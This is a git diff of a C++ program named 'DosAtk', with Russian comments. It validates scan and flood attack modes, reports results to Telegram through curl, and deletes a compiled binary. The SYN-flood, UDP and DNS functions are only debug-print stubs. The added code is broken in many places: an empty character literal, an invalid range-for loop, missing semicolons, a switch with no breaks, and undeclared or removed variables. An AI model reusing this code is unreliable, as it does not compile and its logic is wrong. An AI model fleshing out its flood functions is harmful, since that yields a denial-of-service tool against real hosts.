Неполные данные для Telegram - } - // Если все проверки пройдены и тип атаки - сканирование - else if (attack_type == "scan") { - status = 1; // Валидные параметры для сканирования - } - // Если все проверки пройдены и тип атаки - флуд - else if (attack_type == "flood") { - status = 2; // Валидные параметры для флуда - } + if (attack_type != "flood" && attack_type != "scan") { + status = -1; // Некорректный тип атаки + } + // Для сканирования портов должна быть указана цель (домен или IP) + else if (attack_type == "scan" && domain.empty() && ip.empty()) { + status = -10; // Не указана цель для сканирования + } + // Для флуд-атаки должна быть указана цель (домен или IP) + else if (attack_type == "flood" && domain.empty() && ip.empty()) { + status = -20; // Не указана цель для флуда + } + // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба + else if ((!telegram_id.empty() && telegram_token.empty()) || + (telegram_id.empty() && !telegram_token.empty())) { + status = -600; // Неполные данные для Telegram + } + // Если все проверки пройдены и тип атаки - сканирование + else if (attack_type == "scan") { + status = 1; // Валидные параметры для сканирования + } + // Если все проверки пройдены и тип атаки - флуд + else if (attack_type == "flood") { + status = 2; // Валидные параметры для флуда + } } printf("end my_check_params status: %i\n", status); // debug - return status; } void my_diag() @@ -139,8 +159,8 @@ void my_diag() // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, // формирует сообщение с описанием произошедшей ошибки - // Отладочный вывод - начало работы функции (можно отключить в релизной версии) printf("begin my_diag, status: %i\n", status); // debug + // Выбор сообщения в зависимости от кода ошибки switch (status) { @@ -181,9 +201,18 @@ void my_diag() // Принимает: const std::string& s - исходная строка для обработки // Возвращает: std::string - строка с экранированными спецсимволами std::string escape_json(const std::string& s) { + // Возвращаем строку с экранированными символами + + // ===== Объявления ===== std::string result; // Результирующая строка с экранированными символами + char c; // Символ в строке + + // ===== Инициализация ===== + result = ""; + c = ''; + // Проходим по каждому символу входной строки - for (char c : s) { + for (c : s) { // Обрабатываем специальные символы JSON switch (c) { case '"': result += "\\\""; break; // Экранирование двойных кавычек @@ -196,17 +225,24 @@ std::string escape_json(const std::string& s) { default: result += c; break; // Все остальные символы добавляем как есть } } + return result; // Возвращаем обработанную строку } bool is_numeric(const std::string& s) { // Проверка, является ли строка числом (включая отрицательные) + // ===== Объявления ===== size_t start; // Индекс, с которого начинать проверку цифр + size_t i; + + // ===== Инициализация ===== + start = 0; + i = 0; + if (s.empty()) return false; // Пустая строка не может быть числом // Проверяем наличие знака минус в начале - start = 0; if (s[0] == '-') { // Строка из одного минуса не является числом if (s.size() == 1) return false; @@ -214,50 +250,46 @@ bool is_numeric(const std::string& s) { start = 1; } // Проверяем все оставшиеся символы на цифры - for (size_t i = start; i < s.size(); ++i) { + for (i = start; i < s.size(); ++i) { // Найден нецифровой символ - строка не число if (!isdigit(s[i])) return false; } + // Все проверки пройдены - строка является числом return true; } -int my_msg() { - // Инициализация локальных переменных для работы с CURL +void my_msg() { + printf("begin my_msg"); // debug + // Объявление + struct curl_slist* headers; // Заголовки HTTP-запроса CURL* curl; // Указатель на CURL-объект std::string escaped_msg; // Экранированное сообщение для JSON - std::cout << msg << std::endl; // Вывод сообщения в консоль (для отладки) std::string chat_id_field; // Поле chat_id для JSON std::string json_data; // Итоговый JSON для отправки - struct curl_slist* headers; // Заголовки HTTP-запроса - headers = nullptr; // Инициализация заголовков long http_code; // HTTP-код ответа CURLcode res; // Код результата CURL-операции - + + // Инициализация + headers = curl_slist_append(nullptr, "Content-Type: application/json"); // Установка заголовка Content-Type + curl = curl_easy_init(); // Инициализация CURL + escaped_msg = escape_json(msg); // Экранирование спецсимволов в сообщении для JSON + chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\""; + json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса + http_code = 0; + res = nullptr; + // Проверка наличия обязательных параметров Telegram - if (telegram_token.empty() || telegram_id.empty()) { - return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID) + if (telegram_token.empty() || telegram_id.empty()) + { + status = 0; // Интеграция с Telegram не настроена (отсутствует токен или ID) } - // Инициализация CURL - curl = curl_easy_init(); - if (!curl) return 6; // Ошибка инициализации CURL - - // Экранирование спецсимволов в сообщении для JSON - escaped_msg = escape_json(msg); - - // Формирование поля chat_id в зависимости от типа ID (число или строка) - if (is_numeric(telegram_id)) { - chat_id_field = "\"chat_id\": " + telegram_id; // Числовой ID - } else { - chat_id_field = "\"chat_id\": \"" + telegram_id + "\""; // Строковый ID + if (!curl) + { + status = 6; // Ошибка инициализации CURL } - - // Сборка JSON-запроса - json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; - // Установка заголовка Content-Type - headers = curl_slist_append(headers, "Content-Type: application/json"); // Настройка параметров CURL-запроса curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram @@ -267,15 +299,17 @@ int my_msg() { curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent // Игнорирование вывода ответа (пустая функция обратного вызова) - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [](void*, size_t size, size_t nmemb, void*) -> size_t { - return size * nmemb; - }); + curl_easy_setopt( + curl, CURLOPT_WRITEFUNCTION, + [](void*, size_t size, size_t nmemb, void*) -> size_t { + return size * nmemb; + } + ); // Выполнение HTTP-запроса res = curl_easy_perform(curl); // Получение HTTP-кода ответа - http_code = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); // Освобождение ресурсов @@ -283,57 +317,80 @@ int my_msg() { curl_easy_cleanup(curl); // Завершение работы CURL // Обработка ошибок CURL - if (res != CURLE_OK) return 5; // Ошибка выполнения запроса + if (res != CURLE_OK) + { + status = 5; // Ошибка выполнения запроса + } // Обработка HTTP-кодов ответа - switch (http_code) { - case 200: return 0; // Успешный запрос - case 401: return 1; // Ошибка авторизации (неверный токен) - case 400: return 2; // Неверный запрос - case 404: return 3; // Ресурс не найден - default: - if (http_code >= 500) return 4; // Ошибка сервера - return 4; // Прочие ошибки + switch (http_code) + { + case 200: + status = 0; // Успешный запрос + case 401: + status = 1; // Ошибка авторизации (неверный токен) + case 400: + status = 2; // Неверный запрос + case 404: + status = 3; // Ресурс не найден + case 500: + status = 4; // Ошибка сервера } + + printf("end my_msg"); // debug } -int my_log() +void my_log() { // Данная функция записывает в файл лога сообщение - return 0; + printf("start my_log"); // debug + printf("end my_log"); // debug } void my_fin() { - // Данная функция завершает программу и рассчитывает итоговое время выполнения программы + // Данная процедура завершает программу и рассчитывает итоговое время выполнения программы + + // Объявления + time_t end_time_t; // Время завершения выполненя программы + std::chrono::duration duration; // Длительность выполнения программы + std::chrono::hours hours; // Компонента часов времени завершения + std::chrono::minutes minutes; // Компонента минут времени завершения + std::chrono::seconds seconds; // Компонента секунд времени завершения + std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения - // Фиксируем время окончания работы программы - auto end_timestamp = std::chrono::system_clock::now(); - // Преобразуем время окончания в time_t и миллисекунды - auto end_time_t = std::chrono::system_clock::to_time_t(end_timestamp); - auto end_ms = std::chrono::duration_cast(end_timestamp.time_since_epoch()) % 1000; + // Иницаализация + end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); + duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы + hours = std::chrono::duration_cast(duration); // Разбиваем продолжительность на компоненты + minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты + seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты + milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты + double total_seconds - // Вычисляем продолжительность работы программы - auto duration = end_timestamp - start_timestamp; - // Разбиваем продолжительность на компоненты - auto hours = std::chrono::duration_cast(duration); - auto minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); - auto seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); - auto milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); + printf("begin my_diag\n"); // debug - // Выводим информацию о времени работы - std::cout << "Worked for "; + std::cout << "Worked for "; // Выводим информацию о времени работы // Для коротких периодов (<2 минут) выводим в секундах с дробной частью - if (duration < std::chrono::minutes(2)) { - double total_seconds = std::chrono::duration(duration).count(); + if (duration < std::chrono::minutes(2)) + { + total_seconds = std::chrono::duration(duration).count(); std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds"; - } else { - // Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс - if (hours.count() > 0) std::cout << hours.count() << "h "; - if (minutes.count() > 0) std::cout << minutes.count() << "m "; - std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; } - std::cout << std::endl; + else + { + // Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс + if (hours.count() > 0) // Если программа работала хотя бы один час + { + std::cout << hours.count() << "h "; // Выводим часы + } + if (minutes.count() > 0) // Если программа работала хотя бы одину минуту + { + std::cout << minutes.count() << "m "; // Вывовим минуты + } + std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды + } + std::cout << std::endl; // После осуществления вывода переходим на новую строку // Выводим статистику по запросам std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests (" @@ -341,171 +398,171 @@ void my_fin() // Выводим точное время завершения работы std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S") - << "." << std::setfill('0') << std::setw(3) << end_ms.count() << std::endl; + << "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl; - // Завершаем программу с кодом 0 (успешное завершение) - std::exit(0); + // Завершаем программу с кодом состояния + std::exit(status); } -int my_dns() +void my_dns() { // Данная процедура сопостовляет доменное имя с IP - return 0; + printf("start my_dns"); // debug + printf("end my_dns"); // debug } -int my_tcp_syn() +void my_tcp_syn() { // Данная процедура выполняет TCP SYN Flood атаку - return 2; + printf("start my_tcp_syn"); // debug + printf("end my_tcp_syn"); // debug } -int my_udp() +void my_udp() { // Данная процедура выполняет UDP Flood (port scanning) атаку - return 2; + printf("start my_udp"); // debug + printf("end my_udp"); // debug } -int main(int argc, char **argv) +int main(int arg_ctr, char **arg_ptr) { - // Главная функция программы - точка входа - - // Объявление переменных для хранения статусов операций - int log_status; // Статус записи в лог - int dns_status; // Статус DNS-разрешения - int udp_status; // Статус UDP-атаки - int tcp_syn_status; // Статус TCP SYN-атаки + // Инициализация глобальных переменных + int argc = arg_ctr; + char **argv = arg_ptr; + std::string attack_type = ""; + std::string domain = ""; + std::string ip = ""; + std::string port = ""; + std::string log_file = "/var/log/DosAtk"; + std::string telegram_id = ""; + std::string telegram_token = ""; + int n_ok_requests = 0; + int n_fail_requests = 0; + std::chrono::system_clock::time_point start_timestamp = std::chrono::system_clock::now(); + std::string log_msg = ""; + std::string fin_msg = ""; + std::string msg; + int status = 0; - // ====== Инициализация программы ====== // - n_ok_requests = 0; // Счетчик успешных запросов - n_fail_requests = 0; // Счетчик неудачных запросов - start_timestamp = std::chrono::system_clock::now(); // Засекаем время начала - status = 0; // Статус программы + // Тело программы - // Получаем текущее время в различных форматах - time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - auto ms = std::chrono::duration_cast( - start_timestamp.time_since_epoch()) % 1000; - - // Выводим информацию о времени запуска программы - printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", - std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) - std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11) - std::localtime(&now_time_t)->tm_mday, // День месяца - std::localtime(&now_time_t)->tm_hour, // Часы - std::localtime(&now_time_t)->tm_min, // Минуты - std::localtime(&now_time_t)->tm_sec, // Секунды - ms.count()); // Миллисекунды - - // ====== Основная логика программы ====== // - // 1. Проверяем параметры командной строки - status = my_check_params(argc, argv); + // Проверяем параметры командной строки + my_check_params(); // Обрабатываем результат проверки параметров switch (status) { case 1: // Режим сканирования портов (UDP) // Пытаемся разрешить DNS (если указано доменное имя) - dns_status = my_dns(); + my_dns(); - if (dns_status == 0) // Если DNS разрешен успешно + if (status == 0) // Если DNS разрешен успешно { // Запускаем цикл UDP-атаки - while (udp_status = my_udp()) + while (true) { - if (udp_status == 2) // Код завершения атаки + my_udp() + if (status == 2) // Код завершения атаки { break; } - else if (udp_status < 0) // Обработка ошибок + else if (status < 0) // Обработка ошибок { - status = udp_status; - my_diag(); // Выводим диагностику - log_status = my_log(); // Пытаемся записать в лог - if (log_status == 1) // Если требуется уведомление + my_diag(); // Выводим диагностику + my_log(); // Пытаемся записать в лог + if (status == 1) // Если записать лог не удалось { - my_msg(); // Отправляем сообщение + my_msg(); // Отправляем сообщение } } } // Завершающие действия после атаки - log_status = my_log(); // Логируем завершение - my_msg(); // Отправляем финальное сообщение - my_fin(); // Корректно завершаем программу + my_log(); // Логируем завершение + my_msg(); // Отправляем финальное сообщение + my_fin(); // Корректно завершаем программу } - else if (dns_status == 1) // Ошибка DNS-разрешения + else if (status == 1) // Ошибка DNS-разрешения { my_diag(); // Выводим ошибку - log_status = my_log(); // Логируем ошибку + my_log(); // Логируем ошибку - if (log_status == 0) { // Если не требуется уведомление - my_fin(); // Просто завершаем программу - } - else if (log_status == 1) // Если требуется уведомление + if (status == 0) // Если лог получилось записать { - my_msg(); // Отправляем сообщение - my_fin(); // Завершаем программу + my_fin(); // Просто завершаем программу + } + else if (log_status == 1) // Если лог не удалось записать + { + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } } break; - case 2: // Режим SYN-флуда (TCP) - // Аналогичная логика как для UDP-режима - dns_status = my_dns(); - - if (dns_status == 0) + // Пытаемся разрешить DNS (если указано доменное имя) + my_dns(); + + if (status == 0) // Если DNS разрешен успешно { - while (tcp_syn_status = my_tcp_syn()) + // Запускаем цикл UDP-атаки + while (true) { - if (tcp_syn_status == 2) + my_tcp_syn() + if (status == 2) // Код завершения атаки { break; } - else if (tcp_syn_status < 0) + else if (status < 0) // Обработка ошибок { - status = tcp_syn_status; - my_diag(); - log_status = my_log(); - if (log_status == 1) + my_diag(); // Выводим диагностику + my_log(); // Пытаемся записать в лог + if (status == 1) // Если записать лог не удалось { - my_msg(); + my_msg(); // Отправляем сообщение } } } - log_status = my_log(); - my_msg(); - my_fin(); + // Завершающие действия после атаки + my_log(); // Логируем завершение + my_msg(); // Отправляем финальное сообщение + my_fin(); // Корректно завершаем программу } - else if (dns_status == 1) + else if (status == 1) // Ошибка DNS-разрешения { - my_diag(); - log_status = my_log(); - if (log_status == 0) + my_diag(); // Выводим ошибку + my_log(); // Логируем ошибку + + if (status == 0) // Если лог получилось записать { - my_fin(); + my_fin(); // Просто завершаем программу } - else if (log_status == 1) + else if (log_status == 1) // Если лог не удалось записать { - my_msg(); - my_fin(); + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } } break; - - default: // Некорректные параметры или запрос справки + case 0: // Некорректные параметры или запрос справки + case -1: + case -10: + case -20: + case -101: + case -600: my_diag(); // Выводим диагностику - log_status = my_log(); // Логируем событие + my_log(); // Логируем событие - if (log_status == 0) // Без уведомления + if (status == 0) // Без уведомления { - my_fin(); // Завершаем программу + my_fin(); // Завершаем программу } - else if (log_status == 1) // С уведомлением + else if (status == 1) // С уведомлением { - my_msg(); // Отправляем сообщение - my_fin(); // Завершаем программу + my_msg(); // Отправляем сообщение + my_fin(); // Завершаем программу } break; } return 0; // Возвращаем код успешного завершения -} \ No newline at end of file +} diff --git a/src/a.out b/src/a.out deleted file mode 100755 index 4f5b5792f2db3746c274241df95f010d743a372a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 57600 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 